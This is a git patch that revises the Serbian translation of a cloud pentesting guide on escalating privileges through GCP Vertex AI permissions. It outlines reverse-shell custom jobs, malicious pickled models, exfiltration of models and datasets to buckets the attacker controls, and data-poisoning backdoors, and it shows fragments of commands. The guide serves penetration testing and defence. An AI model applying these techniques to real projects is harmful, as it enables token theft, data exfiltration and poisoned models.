From 8825bcff37a4369e7af9bf4022127c266f6d16ea Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 24 Nov 2025 10:25:51 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat --- .../gcp-vertex-ai-privesc.md | 122 +++++++++--------- 1 file changed, 60 insertions(+), 62 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index 22732342b..2989c28e0 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -12,15 +12,15 @@ Za više informacija o Vertex AI pogledajte: ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -Sa permisijom `aiplatform.customJobs.create` i `iam.serviceAccounts.actAs` na ciljnom servisnom nalogu, napadač može **izvršiti proizvoljan kod sa povišenim privilegijama**. +Sa permisijom `aiplatform.customJobs.create` i `iam.serviceAccounts.actAs` na ciljanom service account-u, napadač može **izvršiti proizvoljan kod sa povišenim privilegijama**. -Ovo funkcioniše kreiranjem custom training job-a koji pokreće kod pod kontrolom napadača (bilo custom container ili Python package). Navođenjem privilegovanog servisnog naloga pomoću `--service-account` flag-a, job nasleđuje dozvole tog servisnog naloga. Job se izvršava na infrastrukturi kojom upravlja Google i ima pristup GCP metadata service-u, što omogućava ekstrakciju OAuth access token-a servisnog naloga. +Ovo se postiže kreiranjem custom training job-a koji pokreće kod pod kontrolom napadača (bilo custom container ili Python package). Navođenjem privilegovanog service account-a pomoću `--service-account` flag-a, job nasleđuje dozvole tog service account-a. Job se izvršava na Google-managed infrastructure i ima pristup GCP metadata service-u, što omogućava izdvajanje OAuth access token-a service account-a. -**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljnog servisnog naloga. +**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljanog service account-a.
-Kreiranje custom job-a sa reverse shell +Kreiraj custom job sa reverse shell ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ @@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
-Alternativa: Izvuci token iz logs +Alternativa: Izdvoji token iz logova ```bash # Method 3: View in logs (less reliable, logs may be delayed) gcloud ai custom-jobs create \ @@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs --region= ```
-> [!CAUTION] -> Custom job će se izvršavati sa privilegijama navedenog service account-a. Uverite se da imate `iam.serviceAccounts.actAs` dozvolu nad ciljnim service account-om. ### `aiplatform.models.upload`, `aiplatform.models.get` -Ova tehnika ostvaruje eskalaciju privilegija otpremanjem modela u Vertex AI i korišćenjem tog modela za izvršavanje koda sa povišenim privilegijama kroz endpoint deployment ili batch prediction job. +Ova tehnika postiže eskalaciju privilegija tako što se otpremi model u Vertex AI, a zatim se taj model iskoristi za izvršavanje koda sa povišenim privilegijama putem endpoint deployment-a ili batch prediction job-a. > [!NOTE] -> Za izvođenje ovog napada potrebno je imati GCS bucket koji je čitljiv svima (world-readable) ili kreirati novi u koji ćete otpremiti artefakte modela. +> Da biste izveli ovaj napad, potrebno je imati world readable GCS bucket ili kreirati novi za otpremu model artefakata.
-Otpremanje zlonamernog pickled modela sa reverse shell-om +Otpremite zlonamerni pickled model sa reverse shell-om ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -113,7 +111,7 @@ gcloud ai models upload \
-Otpremi model sa container reverse shell +Otpremanje modela sa reverse shell-om u kontejneru ```bash # Method 2 using --container-args to run a persistent reverse shell @@ -145,16 +143,16 @@ gcloud ai models upload \
> [!DANGER] -> Nakon otpremanja zlonamernog modela, napadač može da sačeka da ga neko upotrebi, ili da ga sam pokrene putem endpoint deployment-a ili batch prediction job-a. +> Nakon uploadovanja malicioznog modela napadač može sačekati da ga neko upotrebi, ili ga sam pokrenuti putem deploy-a na endpoint ili batch prediction job-a. #### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) -Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu endpoint IAM politika, možete iskoristiti otpremljene zlonamerne modele u projektu da biste ostvarili eskalaciju privilegija. Da biste pokrenuli jedan od prethodno otpremljenih zlonamernih modela preko endpointa, sve što treba da uradite je: +Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu endpoint IAM politika, možete iskoristiti uploadovane maliciozne modele u projektu da postignete privilege escalation. Da biste aktivirali jedan od ranije uploadovanih malicioznih modela preko endpoint-a, sve što treba da uradite je:
-Deploy zlonamernog modela na endpoint +Deploy malicious model to endpoint ```bash # Create an endpoint gcloud ai endpoints create \ @@ -175,12 +173,12 @@ gcloud ai endpoints deploy-model \ #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -Ako imate dozvole za kreiranje **batch prediction jobs** i njihovo pokretanje pomoću service account-a, možete pristupiti metadata service-u. Zlonamerni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction. +Ako imate dozvole za kreiranje **batch prediction jobs** i za njegovo pokretanje koristeći service account, možete pristupiti metadata service-u. Maliciozni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction. -**Note**: Batch prediction jobs mogu biti kreirani samo preko REST API-ja ili Python SDK-a (gcloud CLI nije podržan). +**Note**: Batch prediction jobs se mogu kreirati samo preko REST API-ja ili Python SDK-a (nema podrške za gcloud CLI). > [!NOTE] -> Ovaj napad zahteva prvo otpremanje malicious model-a (pogledajte odeljak `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell kodom. +> Ovaj napad zahteva prvo otpremanje malicious model (pogledajte odeljak `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell code-om.
@@ -240,14 +238,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -Ako imate dozvolu **models.export**, možete izvesti artefakte modela u GCS bucket koji kontrolišete, što može dovesti do pristupa osetljivim podacima za obuku ili fajlovima modela. +Ako imate **models.export** dozvolu, možete izvesti artefakte modela u GCS bucket koji kontrolišete, potencijalno pristupajući osetljivim podacima za obuku ili fajlovima modela. > [!NOTE] -> Za izvođenje ovog napada potrebno je imati GCS bucket koji je čitljiv i upisiv za sve ili kreirati novi da biste otpremili artefakte modela. +> Da biste izveli ovaj napad, potrebno je da imate GCS bucket koji je javno čitljiv i u koji se može pisati, ili da kreirate novi bucket u koji ćete otpremiti artefakte modela.
-Izvoz artefakata modela u GCS bucket +Izvezi artefakte modela u GCS bucket ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" @@ -274,12 +272,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite eskalaciju privilegija kroz reverse shell pristup. +Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite privilege escalation putem reverse shell pristupa. -Pipelines su posebno moćne za eskalaciju privilegija jer podržavaju višestepene napade gde svaka komponenta može koristiti različite kontejnere i konfiguracije. +Pipelines su posebno moćni za privilege escalation jer podržavaju multi-stage napade u kojima svaka komponenta može koristiti različite kontejnere i konfiguracije. > [!NOTE] -> Potreban vam je GCS bucket koji je upisiv za sve da biste ga koristili kao pipeline root. +> Potrebno vam je world writable GCS bucket koji će se koristiti kao pipeline root.
@@ -386,15 +384,15 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -Kreirajte **hyperparameter tuning jobs** koji pokreću proizvoljan kod sa povišenim privilegijama koristeći custom training containers. +Kreirajte **hyperparameter tuning jobs** koji izvršavaju proizvoljan kod sa povišenim privilegijama putem custom training containers. -Hyperparameter tuning jobs omogućavaju pokretanje više trening pokušaja paralelno, svaki sa različitim vrednostima hyperparametara. Ako navedete zlonamerni container koji sadrži reverse shell ili exfiltration command i povežete ga sa privilegovanim service account-om, možete ostvariti privilege escalation. +Hyperparameter tuning jobs omogućavaju vam da pokrenete više training trial-ova paralelno, svaki sa različitim hyperparameter vrednostima. Specificiranjem malicioznog container-a sa reverse shell-om ili exfiltration komandом, i povezivanjem sa privilegovanim service account-om, možete postići eskalaciju privilegija. -**Impact**: Potpuna privilege escalation do dozvola ciljanog service account-a. +**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljnog service account-a.
-Kreirajte hyperparameter tuning job sa reverse shell +Kreirajte hyperparameter tuning job sa reverse shell-om ```bash # Method 1: Python reverse shell (most reliable) # Create HP tuning job config with reverse shell @@ -435,15 +433,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -Izvezite **datasets** da biste eksfiltrirali podatke za treniranje koji mogu sadržati osetljive informacije. +Izvezite **datasets** kako biste izvršili exfiltrate training data koje mogu sadržati osetljive informacije. -**Napomena**: Operacije nad datasetima zahtevaju REST API ili Python SDK (nema podrške u gcloud CLI za datasets). +**Napomena**: Operacije sa dataset-ovima zahtevaju REST API ili Python SDK (gcloud CLI ne podržava dataset-e). -Datasets često sadrže originalne podatke za treniranje koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za treniranje produkcionih modela. +Dataseti često sadrže originalne podatke za treniranje koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za treniranje produkcijskih modela.
-Izvoz dataseta radi eksfiltracije podataka za treniranje +Izvezite dataset za exfiltrate training data ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -492,25 +490,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -Uvezi zlonamerne ili zatrovane podatke u postojeće skupove podataka da bi se **manipulisalo treniranjem modela i uvelo backdoors**. +Uvoz zlonamernih ili otrovanih podataka u postojeće skupove podataka kako bi se **manipulisalo treniranjem modela i ubacili backdoors**. -**Napomena**: operacije nad skupovima podataka zahtevaju REST API ili Python SDK (nema podrške gcloud CLI za skupove podataka). +**Napomena**: Operacije nad dataset-ima zahtevaju REST API ili Python SDK (nema gcloud CLI podrške za datasete). -Uvođenjem pažljivo izrađenih podataka u skup podataka koji se koristi za treniranje ML modela, napadač može: -- Uvesti backdoors u modele (trigger-based misclassification) +Uvođenjem pažljivo pripremljenih podataka u dataset koji se koristi za treniranje ML modela, napadač može: +- Ubaciti backdoors u modele (pogrešna klasifikacija aktivirana trigger-om) - Zatrovati podatke za treniranje kako bi se pogoršale performanse modela -- Ubaciti podatke kako bi modeli leak-ovali informacije -- Manipulisati ponašanjem modela za specifične ulaze +- Ubaciti podatke da nateraju modele da leak informacije +- Manipulisati ponašanje modela za specifične ulaze -Ovaj napad je naročito efikasan kada cilja skupove podataka koji se koriste za: -- Klasifikacija slika (ubaciti pogrešno označene slike) -- Klasifikacija teksta (ubaciti pristrasan ili zlonameran tekst) -- Detekcija objekata (manipulisati bounding boxes) -- Sistemi preporuka (ubaciti lažne preferencije) +Ovaj napad je posebno efikasan kada cilja skupove podataka koji se koriste za: +- Klasifikaciju slika (ubaci pogrešno označene slike) +- Klasifikaciju teksta (ubaci pristrasan ili zlonameran tekst) +- Detekciju objekata (manipulisanje bounding box-ovima) +- Sisteme preporuka (ubaci lažne preferencije)
-Uvezi zatrovane podatke u skup podataka +Import poisoned data into dataset ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -571,7 +569,7 @@ curl -s -X GET \
-Backdoor attack - Klasifikacija slika +Backdoor attack - Image classification ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification @@ -598,7 +596,7 @@ done > label_flip.jsonl
-Data poisoning for model extraction +Data poisoning za model extraction ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -625,34 +623,34 @@ EOF
> [!DANGER] -> Data poisoning attacks mogu imati ozbiljne posledice: -> - **Bezbednosni sistemi**: Zaobići sistem za prepoznavanje lica ili otkrivanje anomalija -> - **Otkrivanje prevara**: Naterati modele da ignorišu specifične obrasce prevara -> - **Moderacija sadržaja**: Navesti da se štetan sadržaj klasifikuje kao bezbedan -> - **Medicinski AI**: Pogrešno klasifikovati kritična zdravstvena stanja -> - **Autonomni sistemi**: Manipulisati detekcijom objekata u odlukama koje su kritične za bezbednost +> Data poisoning attacks can have severe consequences: +> - **Sistemi bezbednosti**: Zaobići prepoznavanje lica ili detekciju anomalija +> - **Detekcija prevara**: Obučiti modele da ignorišu specifične obrasce prevara +> - **Moderacija sadržaja**: Naterati da štetni sadržaj bude klasifikovan kao bezbedan +> - **Medical AI**: Pogrešno klasifikovati kritična zdravstvena stanja +> - **Autonomni sistemi**: Manipulisati detekcijom objekata za odluke kritične po bezbednost **Uticaj**: -- Modeli sa backdoor-om koji pogrešno klasifikuju na određene okidače +- Backdoored models that misclassify on specific triggers - Smanjena performansa i tačnost modela - Pristrasni modeli koji diskriminišu određene ulaze -- Information leakage through model behavior -- Dugoročna upornost (modeli trenirani na poisoned data će naslediti backdoor) +- Procurivanje informacija kroz ponašanje modela +- Dugoročna postojanost (modeli trenirani na poisoned data će naslediti backdoor) ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` > [!WARNING] > > [!NOTE] -> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API je zastareo kao deo depreciranja Vertex AI Workbench Managed Notebooks. Moderni pristup je korišćenje **Vertex AI Workbench Executor** koji pokreće notebooks kroz `aiplatform.customJobs.create` (već dokumentovano iznad). -> Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-ova koji se izvršavaju na Vertex AI custom training infrastrukturi sa specificiranim servisnim nalogom. Ovo je u suštini praktičan wrapper oko `customJobs.create`. -> **For privilege escalation via notebooks**: Koristite `aiplatform.customJobs.create` metodu dokumentovanu iznad, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor. +> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above). +> Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-a koji se izvršavaju na Vertex AI custom training infrastrukturi sa određenim servisnim nalogom. Ovo je ustvari praktičan omotač oko `customJobs.create`. +> **Za privilege escalation putem notebook-ova**: Koristite `aiplatform.customJobs.create` metodu dokumentovanu iznad, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor. -**The following technique is provided for historical context only and is not recommended for use in new assessments.** +**Sledeća tehnika je navedena isključivo radi istorijskog konteksta i nije preporučljiva za upotrebu u novim procenama.** -Kreirajte **notebook execution jobs** koji pokreću Jupyter notebooks sa proizvoljnim kodom. +Kreirajte zadatke izvršavanja notebook-a koji pokreću Jupyter notebooks sa proizvoljnim kodom. -Notebook jobs su idealni za interaktivno izvršavanje koda sa servisnim nalogom, jer podržavaju Python ćelije koda i shell komande. +Notebook jobs su idealni za izvršavanje koda u interaktivnom stilu sa servisnim nalogom, jer podržavaju Python code cells i shell komande.
@@ -683,7 +681,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-Pokreni notebook koristeći ciljni service account +Pokreni notebook sa ciljnim servisnim nalogom ```bash # Create notebook execution job using REST API PROJECT="gcp-labs-3uis1xlx" @@ -711,7 +709,7 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
-## Reference +## Izvori - [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs) - [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)